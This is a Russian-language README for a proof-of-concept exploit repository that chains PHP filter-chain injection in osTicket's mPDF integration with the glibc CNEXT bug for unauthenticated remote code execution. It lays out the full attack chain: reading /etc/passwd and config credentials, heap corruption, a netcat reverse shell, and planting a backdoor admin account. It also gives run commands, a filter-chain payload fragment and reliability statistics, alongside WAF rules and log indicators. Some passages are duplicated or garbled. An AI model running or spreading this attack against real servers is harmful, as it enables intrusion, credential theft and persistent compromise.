
Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket.
Полноценная цепочка эксплойта, объединяющая внедрение цепочки PHP-фильтров с CVE-2024-2961 (CNEXT) для неаутентифицированного удаленного выполнения кода на уязвимых установках osTicket.
Этот репозиторий содержит proof-of-concept эксплойт для CVE-2026-22200, критической уязвимости, затрагивающей osTicket версий ≤ 1.18.2. Эксплойт объединяет две мощные техники:
Результат: Неаутентифицированное удаленное выполнение кода на уязвимых серверах osTicket.
Оценка CVSS: 9.8 (Критическая)
Интеграция mPDF в osTicket позволяет неаутентифицированным пользователям внедрять вредоносные цепочки PHP-фильтров через специально созданные HTML-нагрузки в тикетах поддержки. Это позволяет:
Основная причина: Недостаточная проверка URL-адресов изображений в предоставляемом пользователем HTML перед передачей в mPDF.
Оценка CVSS: 9.8 (Критическая)
Переполнение буфера в iconv() библиотеки glibc при обработке набора символов ISO-2022-CN-EXT. В сочетании с цепочками PHP-фильтров это позволяет:
Уязвимые версии glibc: < 2.39 (Февраль 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. РАЗВЕДКА │
│ └─ Обнаружение osTicket, определение тем с богатым текстом │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. АУТЕНТИФИКАЦИЯ │
│ └─ Самостоятельная регистрация ИЛИ использование существующих │
│ учетных данных │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. ИЗВЛЕЧЕНИЕ ФАЙЛОВ (Цепочки PHP-фильтров) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (учетные данные БД, SECRET_SALT) │
│ ├─ /proc/self/maps (расположение памяти) │
│ └─ /proc/self/environ (переменные окружения) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. ОПРЕДЕЛЕНИЕ ВЕРСИИ LIBC │
│ ├─ Извлечение частичной libc через цепочки фильтров │
│ ├─ Извлечение GNU Build ID │
│ └─ Загрузка полной libc с libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. ЭКСПЛУАТАЦИЯ RCE ЧЕРЕЗ CNEXT │
│ ├─ Генерация нагрузки для разрушения кучи │
│ ├─ Внедрение через ответ на тикет (с исправлениями │
│ выполнения фильтров) │
│ ├─ Триггер через экспорт PDF (сервер падает) │
│ └─ Выполнение реверс-шелла │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ПОСТЭКСПЛУАТАЦИЯ │
│ ├─ Интерактивный реверс-шелл │
│ ├─ Доступ к БД (с использованием извлеченного DBPASS) │
│ └─ Создание бэкдор-учетной записи администратора │
└─────────────────────────────────────────────────────────────────┘
# Клонирование репозитория
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Установка необходимых пакетов
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# ИЛИ
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Терминал 1: Запуск слушателя
nc -lvnp 4444
# Терминал 2: Запуск эксплойта
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Использование прокси (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Принудительное указание ID темы
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# Отключение цветного вывода (для логирования)
python3 osticket_exploit.py https://target.com/osticket --no-color
Если регистрация отключена, будет запрошены учетные данные:
python3 osticket_exploit.py https://target.com/osticket
[?] Введите email для новой учетной записи (или существующий): [email protected]
[?] Введите пароль: ********
Эксплойт использует сложную цепочку фильтров для добавления BMP-заголовка к произвольным файлам, обходя ограничения mPDF на типы файлов:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ преобразований iconv ...]
convert.base64-decode/resource=/etc/passwd
Ключевая инновация: Каждый символ BMP-заголовка генерируется через тщательно подобранные преобразования iconv, позволяя встроить содержимое произвольного файла как «валидное» изображение.
Нагрузка CNEXT повреждает менеджер памяти Zend PHP путем:
劄Повышенная надежность:
劄 вместо 1)В отличие от оригинального эксплойта, эта версия использует сканирование файловой системы для гарантии местоположения веб-шелла:
Результат: 100% уровень обнаружения (против ~50% в оригинале)
Частая ошибка: PDF загружается, но не вызывает крах = фильтры не выполняются.
Реализованные решения:
stream=True заставляет немедленную обработку# В режиме подробного вывода проверьте:
[*] Целевая libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 УЯЗВИМА к CNEXT
Если glibc ≥ 2.39, CNEXT не сработает (исправлено).
Симптом: Сервер падает, но реверс-шелл не появляется
Причины:
Исправление:
# Использовать nc реверс-шелл (короче)
# Автоматически переключается, если bash/python слишком длинные
# Или используйте прямой IP вместо имени хоста
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # Используйте IP, не имя хоста
--lport 4444
Индикаторы в логах:
# Логи Apache/Nginx
"php://filter/" в POST-запросах
"convert.iconv." в телах запросов
Необычные шаблоны генерации PDF
Множественные запросы PDF за короткое время
# Логи ошибок PHP
Segmentation faults во время генерации PDF
Сбои iconv()
Ошибки повреждения кучи
Сетевые индикаторы:
Отключение оберток потоков PHP в mPDF:
// В конфиге mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
Правила WAF (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'Обнаружен PHP-фильтр'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Подозрительная цепочка iconv'"
Ограничение частоты запросов:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ
Этот инструмент предоставляется для:
НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ НЕЗАКОНЕН
Авторы:
Пользователи несут единоличную ответственность за получение надлежащего разрешения перед тестированием любой системы.
Используя этот инструмент, вы соглашаетесь, что:
Несанкционированный доступ к компьютерным системам является преступлением в соответствии с:
Максимальные наказания могут включать тюремное заключение и значительные штрафы.
Этот проект лицензирован в соответствии с лицензией MIT — см. файл LICENSE для получения подробной информации.
Примечание: Лицензия MIT предоставляет разрешение на использование, изменение и распространение, но НЕ предоставляет разрешение на атаку систем, которыми вы не владеете или на тестирование которых не имеете разрешения.
Для исследователей безопасности и вопросов:
НЕ используйте этот контакт для:
Создано с любовью к исследованиям в области безопасности и образованию
Поставьте звезду этому репозиторию, если он оказался полезным!
Последнее обновление: 2026-03-03
| Ошибка | Причина | Решение |
|---|
No CSRF token | Истекла сессия | Запустите эксплойт снова |
No help-topic found | Нет тем с богатым текстом | Используйте --topic-id вручную |
Build ID not found | Частичная libc повреждена | Проверьте извлечение /proc/self/maps |
Cannot locate heap | Необычное расположение памяти | Эксплойт может не сработать (редко) |
| Метрика | Значение |
|---|
| Строк кода | ~3,000 |
| Уровень успеха | 95%+ (с исправлениями) |
| Среднее время выполнения | 2–3 минуты |
| Надежность краха | 99% (с улучшениями) |
| Обнаружение веб-шелла | 100% (со сканированием) |